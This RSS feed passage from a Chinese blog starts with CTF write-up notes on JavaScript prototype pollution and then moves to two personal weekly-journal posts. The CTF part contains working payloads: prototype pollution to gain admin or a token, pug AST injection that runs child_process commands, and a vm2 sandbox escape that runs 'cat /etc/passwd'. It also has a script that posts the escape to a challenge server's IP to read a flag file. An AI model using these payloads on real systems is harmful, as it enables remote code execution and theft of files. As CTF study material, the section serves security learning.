&lt;pre&gt;&lt;code&gt;flagBp.public -&amp;gt; flagBp.__proto__.public -&amp;gt; bpProto.prototype.public
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么如何修改 &lt;code&gt;bpProto.prototype&lt;/code&gt; 呢？&lt;/p&gt;
&lt;p&gt;回到这里&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;合并的时候，如果能做到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mergeObj.constructor.prototype.public = true
// 或者
mergeObj.__proto__.public = true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此 payload 为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;constructor&quot;: {&quot;prototype&quot;: {&quot;public&quot;: true}}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;思考，为什么如下payload不行？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;__proto__&quot;: {&quot;public&quot;: true} // 试一试？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;BambooFox CTF 2021 TimeToDraw&lt;/p&gt;
&lt;p&gt;原型链污染的点在：存在很明显的赋值动作&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.get(&apos;/api/draw&apos;, (req, res) =&amp;gt; {
    let { x, y, color } = req.query;
    if (x &amp;amp;&amp;amp; y &amp;amp;&amp;amp; color) canvas[x][y] = color.toString();
    res.json(canvas);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果是admin用户，则token为 &lt;code&gt;secret.ADMIN_TOKEN&lt;/code&gt;，我们不知道&lt;/p&gt;
&lt;p&gt;如果没有进入这个if，则 userData.token 会去原型链上查找，所以千万不要成为admin!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (req.signedCookies.user &amp;amp;&amp;amp; req.signedCookies.user.admin === true) {
  userData.isGuest = false;
  userData.isAdmin = req.cookies.admin;
  userData.token = secret.ADMIN_TOKEN;
}

if (req.query.token &amp;amp;&amp;amp; req.query.token.match(/[0-9a-f]{16}/)
    &amp;amp;&amp;amp; hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token) {
  res.send(secret.FLAG);
} else {
  res.send(&quot;NO&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因此payload如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const crypto = require(&apos;crypto&apos;);
const hash = (token) =&amp;gt; crypto.createHash(&apos;sha256&apos;).update(token).digest(&apos;hex&apos;);

token = &quot;12345678900000000&quot;;
hostname = &quot;::ffff:127.0.0.1&quot;;
result = hash(hostname + token);
console.log(result); // 0571d35ff568c6faacaa8f931b66729b9bc12a2c1231b8dc8c57073f35c8b62f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先污染原型链：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:3000/api/draw?x=__proto__&amp;amp;y=token&amp;amp;color=1cd6705c4f0df9b640deaa47c5510b7b8b4303acc3bf1e95670e975b889a6ce9
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后获取flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://localhost:3000/flag?token=1234567890000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结论：当对象访问一个不一定存在的属性时，极易被原型链污染攻击&lt;/p&gt;
&lt;p&gt;HTB blitzprop&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;payload&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
       &quot;song.name&quot;: &quot;The Goose went wild&quot;, 
        &quot;__proto__.block&quot;:{
            &quot;type&quot;:&quot;Text&quot;,
			&quot;line&quot;:&quot;process.mainModule.require(&apos;child_process&apos;).exec(&apos;cmd&apos;)&quot;
		}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AST injection + 原型链污染
详细了解：
&lt;a href=&quot;https://xz.aliyun.com/t/12635&quot;&gt;https://xz.aliyun.com/t/12635&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;通过插入AST来实现注入&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/202305202300194.pngid=RpRhd&amp;amp;originHeight=993&amp;amp;originWidth=2073&amp;amp;originalType=binary&amp;amp;ratio=1&amp;amp;rotation=0&amp;amp;showTitle=false&amp;amp;status=done&amp;amp;style=none&amp;amp;title=&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;pug AST注入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- /node_modules/pug-code-gen/index.js --&amp;gt;

if (debug &amp;amp;&amp;amp; node.debug !== false &amp;amp;&amp;amp; node.type !== &apos;Block&apos;) {
    if (node.line) {
        var js = &apos;;pug_debug_line = &apos; + node.line;
        if (node.filename)
            js += &apos;;pug_debug_filename = &apos; + stringify(node.filename);
        this.buf.push(js + &apos;;&apos;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注入：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const pug = require(&apos;pug&apos;);

Object.prototype.block = {&quot;type&quot;: &quot;Text&quot;, &quot;line&quot;: &quot;console.log(process.mainModule.require(&apos;child_process&apos;).execSync(&apos;id&apos;).toString())&quot;};

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());

/*
function template(locals) {
    var pug_html = &quot;&quot;,
        pug_mixins = {},
        pug_interp;
    var pug_debug_filename, pug_debug_line;
    try {;
        var locals_for_with = (locals || {});

        (function (console, msg, process) {;
            pug_debug_line = 1;
            pug_html = pug_html + &quot;\u003Ch1\u003E&quot;;;
            pug_debug_line = 1;
            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? &quot;&quot; : pug_interp));;
            pug_debug_line = console.log(process.mainModule.require(&apos;child_process&apos;).execSync(&apos;id&apos;).toString());
            pug_html = pug_html + &quot;ndefine\u003C\u002Fh1\u003E&quot;;
        }.call(this, &quot;console&quot; in locals_for_with ?
            locals_for_with.console :
            typeof console !== &apos;undefined&apos; ? console : undefined, &quot;msg&quot; in locals_for_with ?
            locals_for_with.msg :
            typeof msg !== &apos;undefined&apos; ? msg : undefined, &quot;process&quot; in locals_for_with ?
            locals_for_with.process :
            typeof process !== &apos;undefined&apos; ? process : undefined));;
    } catch (err) {
        pug.rethrow(err, pug_debug_filename, pug_debug_line);
    };
    return pug_html;
}
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个简单的pug引擎&lt;/p&gt;
&lt;p&gt;请问如下代码是否存在AST injection?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Step 1: 解析 - 将 Pug 语法解析成 AST
function parse(pugCode) {
  let lines = pugCode.split(&apos;\n&apos;);
  let ast = lines.map((line, index) =&amp;gt; {
    let match = /^(\s*)(\w+)(?:\s*(.*))?$/g.exec(line);
    if (match) {
      let indent = match[1].length;
      let tag = match[2];
      let type;
      let text = match[3] || &quot;&quot;;
      if (text.startsWith(&quot;@&quot;)) {
        [type, text] = text.slice(1).split(&apos; &apos;);
      }
      return { indent, tag, type, text, line: index + 1 }; // Add type to AST node
    } else {
      throw new Error(`Parsing error on line ${index + 1}`);
    }
  });
  return ast;
}

// Step 2: 编译 - 将 AST 转化为一个 JavaScript 函数
function compile(ast) {
  return function(context) {
    return ast.map(node =&amp;gt; {
      try {
        let html = &quot;&amp;lt;&quot; + node.tag + &quot;&amp;gt;&quot;;
        if (node.text.startsWith(&quot;{&quot;) &amp;amp;&amp;amp; node.text.endsWith(&quot;}&quot;)) {
          let varName = node.text.slice(2, -1);
          if (varName in context) {
            let content = context[varName];
            // If the type of the node is &apos;uppercase&apos;, turn the content to uppercase
            if (node.type === &apos;uppercase&apos;) {
              content = content.toUpperCase();
            }
            html += content;
          } else {
            throw new Error(`Undefined variable: ${varName}`);
          }
        } else {
          html += node.text;
        }
        html += &quot;&amp;lt;/&quot; + node.tag + &quot;&amp;gt;&quot;;
        return html;
      } catch (error) {
        throw new Error(`Error rendering line ${node.line}: ${error.message}`);
      }
    }).join(&apos;\n&apos;);
  }
}

// Step 3: 渲染 - 使用上下文对象来执行编译后的函数并生成 HTML
function render(templateFn, context) {
  try {
    return templateFn(context);
  } catch (error) {
    console.error(error.message);
    return null;
  }
}

// 使用示例：
let pugCode = &quot;p {name}\n&quot;; // This is Pug syntax
pugCode += &quot;div @uppercase Hello, {name}&quot;;
let ast = parse(pugCode);
let templateFn = compile(ast);
let html = render(templateFn, { name: &quot;John Doe&quot; });
console.log(html);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;babyjs&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const { NodeVM } = require(&quot;vm2&quot;);

let untrusted = `
( function () { let result = &apos;aaa&apos;;
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {
    result =
      e.constructor.constructor(
       &quot;return this.process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cat /etc/passwd&apos;)&quot;)().toString();
  }
return result; })();
`;

untrusted = &quot;eval(`&quot; + untrusted + &quot;`)&quot;;

let vm = new NodeVM({
  // eval: false,
  wasm: false,
  wrapper: &quot;none&quot;,
});

let result = &quot;&quot;;

try {
  result = vm.run(`return ${untrusted}`);
} catch (err) {
  console.log(err);
  result = err.toString();
}
console.log(result);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最终脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

r = requests.post(&apos;http://175.27.159.126:10010/&apos;,
           data={
               &apos;calc&apos;:
               &quot;&quot;&quot;eval(`
( function () { let result = &apos;aaa&apos;;
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {
    result =
      e.constructor.constructor(
       &quot;return this.process.mainModule.require(&apos;child_process&apos;).execSync(&apos;cat flag.txt&apos;)&quot;)().toString();
  }
return result; })();
`)&quot;&quot;&quot;
           })
print(r.headers)
print(r.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;intigriti&lt;/p&gt;
&lt;p&gt;如何创建一个admin用户？&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- &lt;img src=&quot;./attachments/202305210911497.pngid=lcAKM&amp;amp;originHeight=1407&amp;amp;originWidth=1080&amp;amp;originalType=binary&amp;amp;ratio=1&amp;amp;rotation=0&amp;amp;showTitle=false&amp;amp;status=done&amp;amp;style=none&amp;amp;title=&quot; alt=&quot;&quot; /&gt; --&amp;gt;&lt;/p&gt;
&lt;p&gt;关键代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;user = JSON.parse(req.body)
let newUser = Object.assign(baseUser, user)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但是我们可以完全控制 &lt;code&gt;user&lt;/code&gt; ，因此可以如下步骤：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;__proto__&quot;:{&quot;isAdmin&quot;:true},&quot;inviteCode&quot;:&quot;xxxxxxxxxx&quot;}
&amp;gt;let user = JSON.parse(&apos;{&quot;__proto__&quot;:{&quot;isAdmin&quot;:true},&quot;inviteCode&quot;:&quot;xxxxxxxxxx&quot;}&apos;)
&amp;gt;user.isAdmin // ? why
 undefined
&amp;gt;user.__proto__.isAdmin
 true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;答案当使用 &lt;code&gt;JSON.parse()&lt;/code&gt; 解析一个JSON字符串时，&lt;code&gt;__proto__&lt;/code&gt; 属性并不会按照原型链的方式进行设置。JSON字符串的解析完全基于其自身的文字内容，它不会改变对象的原型链。也就是说，&lt;code&gt;JSON.parse()&lt;/code&gt; 不会把 &lt;code&gt;__proto__&lt;/code&gt; 理解为原型链的指示，而只是把它当作一个普通的属性来处理。&lt;/p&gt;
&lt;p&gt;payload&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{&quot;__proto__&quot;: {&quot;isAdmin&quot;: True}, &quot;user&quot;: &quot;test&quot;, &quot;inviteCode&quot;: 0}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;noood&lt;/p&gt;
&lt;p&gt;题目思考：flag 在根目录，&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{xxxxxx}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;源代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const express = require(&apos;express&apos;);
const bodyParser = require(&apos;body-parser&apos;);
const fs = require(&apos;fs&apos;);
const path = require(&apos;path&apos;);
const app = express();
const config = {}

app.use(bodyParser.json());

app.post(&apos;/:lib/:f&apos;, (req, res) =&amp;gt; {
    let jsonlib = require(req.params.lib);
    let valid = jsonlib[req.params.f](req.body);

    let p;
    if(config.path) {
        p = config.path;
    }

    let data = fs.readFileSync(p).toString();

    res.send({
        &quot;validator&quot;: valid, 
        &quot;data&quot;: data, 
        &quot;msg&quot;: &quot;data is corrupted&quot;
    });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () =&amp;gt; {
    console.log(`Server is running on port ${PORT}`);
});

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fs.readFileSync&lt;/p&gt;
&lt;p&gt;答案no! 参数问题&lt;/p&gt;
&lt;p&gt;require报错&lt;/p&gt;
&lt;p&gt;答案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(&apos;../.../../flag&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;vm&lt;/p&gt;
&lt;p&gt;答案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(&apos;vm&apos;).runInNewContext([&apos;this.constructor.constructor(&apos;return this.process&apos;))().mainModule.require(&apos;fs&apos;).readFileSync(&apos;/flag&apos;).toString()&apos;])
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原型链污染&lt;/p&gt;
&lt;p&gt;答案&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;require(&apos;flat&apos;).unflatten({&apos;__proto__.path&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeifualutwd32jzcxgzhzwp6etzy3hmtjmi2ke3bh7fkgmop5tiegwe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报15 加班、Appletv与信息流梳理</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A515-%E5%8A%A0%E7%8F%ADappletv%E4%B8%8E%E4%BF%A1%E6%81%AF%E6%B5%81%E6%A2%B3%E7%90%86/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A515-%E5%8A%A0%E7%8F%ADappletv%E4%B8%8E%E4%BF%A1%E6%81%AF%E6%B5%81%E6%A2%B3%E7%90%86/</guid><pubDate>Mon, 25 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报15 加班、Appletv与信息流梳理&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeic3pelardpna4umspdsnthrqo2jqwzbbqh6forjjcxm5ip6pppfbm.png&quot; alt=&quot;Group 1 (1)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最近两周基本都是在加班中度过的，连续几天都在10点多下班。加上自己的睡眠质量实在堪忧，于是又重新戴上Apple watch来监控自己的睡眠。&lt;/p&gt;
&lt;p&gt;每天的工作就是在和JS的各种神奇特性做斗争，被折磨的不要不要的。以致于梦里似乎都在思考，没有得到很有效的放松。9.22周五晚上回到家提不起做任何事的兴趣，索性9点就关灯躺在床上听着看理想的法律课程睡着了。第二天精神状态果然好多了。&lt;/p&gt;
&lt;p&gt;9.15周五晚上碰上了前所未见的深圳大堵车，由于大雨，导致宝安的路被淹了，一直堵到公司门口。坐上班车之后感觉情况不对，于是赶忙下车走路回家了，事后得知，好多同事经历了长达40分钟到一个小时的堵车，而此时我已经到家了😁&lt;/p&gt;
&lt;p&gt;xlog更新了，之前也有尝试图文功能，准备把自己的一些平常写在周报里的书评给放在图文板块，汇总一下&lt;/p&gt;
&lt;p&gt;整体感觉很棒，就是每个图文点进去之后的排版有点乱了，都缩成了一个段落&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeidunc37joq35s3r6mkgtatomvws4zr6qgftms3oqcreghxlwz4r6e.png&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;📚重读与推荐&lt;/p&gt;
&lt;p&gt;重读了下《明朝那些事》&lt;/p&gt;
&lt;p&gt;《明朝那些事儿》里写得最好的两个人物，也是最好哭的两个故事，一个是李时珍，另一个是徐霞客&lt;/p&gt;
&lt;p&gt;“无论徐阶是否斗倒了严嵩，无论张居正是不是一个杰出的改革家，都不关李时珍的事，他只是一个医生。他知道，生命很珍贵，也很柔弱，作为一个医生，有责任和义务去维护生命的存在。”&lt;/p&gt;
&lt;p&gt;“我只是个平民，没有受命，只是穿着布衣，拿着拐杖，穿着草鞋，凭借自己，游历天下，故虽死，无憾。”&lt;/p&gt;
&lt;p&gt;这也应征了作者所写的，“成功只有一个，那就是用自己的方式去度过一生”&lt;/p&gt;
&lt;p&gt;另外推荐一本书《透过地理看历史系列》，古人也有说过，“左图右史”，地图对于历史理解的帮助是很大的，为什么关中之地有帝王气象？为什么守江必守淮？为什么汉中为巴蜀咽喉？为什么北伐那么难？&lt;/p&gt;
&lt;p&gt;最后是摘录一些：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;与郡县制配套的还有愚民、弱民政策。商鞅认为，要让人民好管、听话，跟着国家的政策走，人民最好都傻一点，像六国的百花齐放、百家争鸣，人民太聪明了，不好管，你让他杀人，他会跟你讲仁义，你让他使诡计，他骂你没道德；还 有，老百姓最好别有钱，“民富则国弱，民弱则国富”，有钱了就没人玩命上战场了，利益的刺激效果就会大打折扣，始终在温饱线上挣扎的人才会为了生存去种田，或者去打仗，也没闲工夫去琢磨国家的政策是否合理。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;（你最好是在讲历史&lt;/p&gt;
&lt;p&gt;📺 surge &amp;amp; Apple TV&lt;/p&gt;
&lt;p&gt;tvOS17 正式发布了，我一直等到这个点才去买Apple tv，因为其增加了一个很重要的vpn功能。再加上我本来就是surge的重度用户，作者也说了tv版的surge是免费的，于是赶紧下单（pdd真香），周六晚上折腾了下，终于能在Apple tv上看到4k的美剧了&lt;/p&gt;
&lt;p&gt;但是在折腾的过程中，尽管下面这些话有些政治不正确（毕竟作者确实很厉害），但作为一个用户的视角，我是真的不想绑定iCloud，并且最开始我也没有分清楚surge绑定的iCloud账户是不是App Store账户（毕竟APP store账户经常会换），连我这种人都不一定分得清楚，我想普通的小白用户也会被困扰&lt;/p&gt;
&lt;p&gt;最后的解决办法是这样的：Apple tv可以登录国区账号作为主账号，订阅账号可以选择比如美区的APP store账号，这个是可以和你的手机完全同步的，用手机同步过去就行&lt;/p&gt;
&lt;p&gt;（ps. 而且从作者的推文中明显看到，绑定iCloud就是一个图省事的办法，如果作者真觉得开发很累完全可以收费，我是支持的…&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigyglcqrbmc5ta6dhwlkvpdijq47qad53qxofcvbeqqa7ndoyywxe.png&quot; alt=&quot;DraggedImage-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ℹ️ 信息流梳理实践&lt;/p&gt;
&lt;p&gt;其实很多需要耗费心力去维护的东西，总是懒以维护的，人总会懒惰下来，比如上周因为加班以及睡眠的原因，就导致我没有任何精力去做一些额外的事情，于是想着删繁就简，把一些华而不实的软件、方法全部给抛弃，只留下适合自己的&lt;/p&gt;
&lt;p&gt;也看过很多人喜欢把app都组织在一个或多个文件夹中，最开始觉得这种分类很有道理，于是自己也尝试了一段时间，想着相似功能组织到一起，能够增加一些小众app打开频率。但很快我就发现，这就是个悖论，原因无他，app可以按照打开频率分为经常打开的和不经常打开的&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果是经常打开的app，就算在文件夹里，多一个步骤没啥用&lt;/li&gt;
&lt;li&gt;如果是不经常打开的app，就算在文件夹里，多一个步骤也没啥用&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;于是组织为文件夹后，就变成了我基本天天只看B站，连YouTube都很少看了，因为它俩都在一个文件夹呀🤣，打开B站的动力明显高于YouTube。。&lt;/p&gt;
&lt;p&gt;意识到这一点后，果断放弃了文件夹这种形式，把要用的，想用的，会用的app全都平摊，如果实在找不到，不还有搜索吗，搜索的速度也不亚于思考在哪个文件夹吧&lt;/p&gt;
&lt;p&gt;还有一篇文章《 我的个人信息流方法论及实践》，已经写了2k多字，但总觉得不甚满意，还在不断修改中，可能这周能发吧&lt;/p&gt;
&lt;p&gt;📮 Newsletter&lt;/p&gt;
&lt;p&gt;以后所有的记录就都会自动同步到个人频道啦, &lt;a href=&quot;https://t.me/RayeJourney&quot;&gt;https://t.me/RayeJourney&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;不过也会摘录一些放在博客里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=LAsEmW4KsbI&quot;&gt; 猛男挑戰習大大】實測 200斤麥子 十里山路不換肩 真的扛得住？！│健人腳勤│ 2020ep28 &lt;/a&gt; 同事转给我的🐶，只能说不是当的料&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1S24y1G7vv&quot;&gt; Hi-Res 96k/24bits】《歧路旅人2》无损游戏原声 (全131曲目 + 未收录1首) &lt;/a&gt; 八方旅人的bgm真的太好听了，最近也在开荒八方旅人2，还是有很多惊喜的，诸如白天黑夜的转换，更立体的地图与更好的光影&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://xlog.pseudoyu.com/weekly_review_20230917&quot;&gt; 周报 47 - 采访、拳击与工作状态 - pseudoyu &lt;/a&gt;终于恢复周更了哈😉&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1K841167zs&quot;&gt; 《魔戒》骑兵冲锋的原型，披三重甲不带长矛就能冲破步兵方阵【进击的骑兵03】 &lt;/a&gt; 冷兵器是男人的浪漫，一直都很喜欢这类讲古代战争、冷兵器、骑兵、地形战略的视频&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.bilibili.com/video/BV1wj411y7pq&quot;&gt; 350w粉UP主每月要花多少钱？时隔5年的读评论！ &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bytetalk.fm/posts/episode-7/&quot;&gt; 跟 Logseq 的创造者天生聊聊 Logseq 的故事 &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mp.weixin.qq.com/s/EveG7JqrxfPBeDIXw4eC2A&quot;&gt; 《崩铁》一天要交300万，Unity的新收费到底是怎么一回事？ &lt;/a&gt; 有点像我买了他家的锅做菜，每做出一道菜还要交钱.?&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://movie.douban.com/subject/35730930/&quot;&gt; 早间新闻 第三季 &lt;/a&gt; TMS终于出第三季了，目前还在Apple tv陆续更新中，前两集感觉还是对味的，准备继续追下去&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=lzzUs0-NcYY&quot;&gt; 【小岛浪吹】华为到底突破了没有，中国的半导体行业正处于什么状态 &lt;/a&gt;华为emmm，咋说呢，还是支持的吧，但觉得没必要&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://movie.douban.com/subject/36486114/&quot;&gt; 在看初入职场·法医季2 &lt;/a&gt;芒果tv的这套综艺还是挺有意思的，尹正、秦明居然都来了！&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.eirms.com/weekly-3&quot;&gt; 周报 03 – 未通过的三面、infuse 初体验以及网站的变化 &lt;/a&gt; 更新的好快，我反而落下了，继续加油，面试不一定是一帆风顺的，多尝试总能找到最好的 @eirms&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;最后附上几张星之海的海报&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreidocc2vmc2oqh2moetm6j362qenbarcn6vy3ti4uomabi5byf2rzy.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6075611177750214600-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafkreieyia7wacj4tzoiyia4kymuuoa7gu3rx5p2is4kxtonll2fq27pee.jpeg&quot; alt=&quot;telegram-cloud-photo-size-5-6075611177750214601-y&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写在结尾&lt;/p&gt;
&lt;p&gt;预祝看到这篇文章的朋友中秋快乐！&lt;/p&gt;
&lt;p&gt;奉上去年我在pyq发的祝福(因为今年的还没想出来🤣，说不定中秋那天就想到了呢&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;年年今夜，月华如练，长是人千里。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>周报14 台风天、剧本杀与彩虹</title><link>https://rayepeng.net/posts/%E5%91%A8%E6%8A%A514-%E5%8F%B0%E9%A3%8E%E5%A4%A9%E5%89%A7%E6%9C%AC%E6%9D%80%E4%B8%8E%E5%BD%A9%E8%99%B9/</link><guid isPermaLink="true">https://rayepeng.net/posts/%E5%91%A8%E6%8A%A514-%E5%8F%B0%E9%A3%8E%E5%A4%A9%E5%89%A7%E6%9C%AC%E6%9D%80%E4%B8%8E%E5%BD%A9%E8%99%B9/</guid><pubDate>Mon, 11 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;周报14 台风天、剧本杀与彩虹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeigduqftrahwt2koiihbkdad7xdfqmcehota34ij26nfci7tqj25ay.png&quot; alt=&quot;Group 1 (4)&quot; /&gt;&lt;/p&gt;
&lt;p&gt;暂停了一周的周报，本来这篇周报应该是上周就要发的，但或许是太忙了吧，沉不下心来整理自己的文字了，索性也就当给自己放个小假，合并到下周一起当做双周报来写&lt;/p&gt;
&lt;p&gt;目前主力的写作软件是 &lt;code&gt;Ulysses&lt;/code&gt;，虽然改成订阅制后有很多人吐槽、退坑。不过我目前感觉写作体验还是最棒的，批注、关键字等功能也很实用。这里顺带谈谈个人的习作习惯，日常会将一些零星的想法，收集到logseq或者flomo中，每当要写周报的时候再来回顾，这是模仿了周国平在《风中的纸屑》一书所写的做法，只有随手记录下来，才不至于让这些纸屑被生活的快节奏所吹走。&lt;/p&gt;
&lt;p&gt;整理完这些纸屑后，就形成了一个初稿。在初稿的基础上，如果还有精力，就会对文字进行打磨，调整、扩展，当然这个过程是最耗费心力的了。毕竟大部分时候，都是不愿意去回顾自己写的文字（就像不愿去回顾自己写的垃圾代码一样🤣&lt;/p&gt;
&lt;p&gt;深圳又来台风了，连续两周，每到周五就开始下大雨，公司也是很人性化地提前通知了，解锁了两天远程上班的体验（虽然效率并不是很高）&lt;/p&gt;
&lt;p&gt;本来还担心周末是不是就无法出门了，短信、微信、微博都在不断地提醒我，不要外出，属实有些吓人了&lt;/p&gt;
&lt;p&gt;不过台风真正肆虐的时间也仅在周五晚上，周六就开始转移目标了，周日甚至又重回了高温，台风的痕迹全无，太阳高照，果然是台风把所有云彩都带走了吧。&lt;/p&gt;
&lt;p&gt;周六还是照惯例出门打羽毛球，台风过境后，无边丝雨，朦胧而安静的街道，无半点喧嚣。深圳这座脚步匆匆的城市，也被迫慢了下来呢&lt;/p&gt;
&lt;p&gt;周日则是被文杰喊去一起打剧本杀了，（虽然我和他是在上周的读书会才第一次才认识的，但奈何自来熟🐶），在体验了被7个小时烧脑的推理折磨后，我已经不太敢再去玩推理本了🥹&lt;/p&gt;
&lt;p&gt;周一上班，久违地见到了🌈（虽然不是我拍的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./attachments/bafybeihl3pgzxbjiqjmovaynggfxd7twtwrdsfxxijsaxrajvcw2gid3bi.jpeg&quot; alt=&quot;DraggedImage&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是为本周报序&lt;/p&gt;
&lt;p&gt;👀剧本杀&lt;/p&gt;
&lt;p&gt;很久没玩过剧本杀了，周六晚上文杰临时组了个局，想玩一个带点恐怖的推理本，于是大家就选了店家推荐的——《死者在幻夜中醒来》（真的是无知者无畏啊，马上就体会到了被折磨的痛苦）&lt;/p&gt;
&lt;p&gt;大概玩了将近6、7个小时，不得不承认是一个设计很出色的剧本，&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;两个故事，一个玄幻，一个本格，巧妙的结合，完美的反转&lt;/li&gt;
&lt;li&gt;叙事性诡计&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;本子其实是完全有两个故事组成的，第一个故事有一点玄幻的设定，即可以穿越时空，逆天改名，形成错乱的平行时空。第一个本子最后的推导我们大概花了3个多小时，而且推理非常的顺畅，DM频频点头（注意这是陷阱）&lt;/p&gt;
&lt;p&gt;接着来到下半场，此时每个人都发现，他/她的记忆是错乱的，并且在第一个本中出现的玄幻设定、每个被杀的人的故事，全都是假的，都是伪造出来的！（简直颠覆好吗，已经炸了）&lt;/p&gt;
&lt;p&gt;于是，每个人都需要重新找出自己的身份（当然靠我们那点贫瘠的推理能力是做不到的），只能逼得DM亲自下场“扛着火车跑了”🤣，有照片为证：&lt;/p&gt;
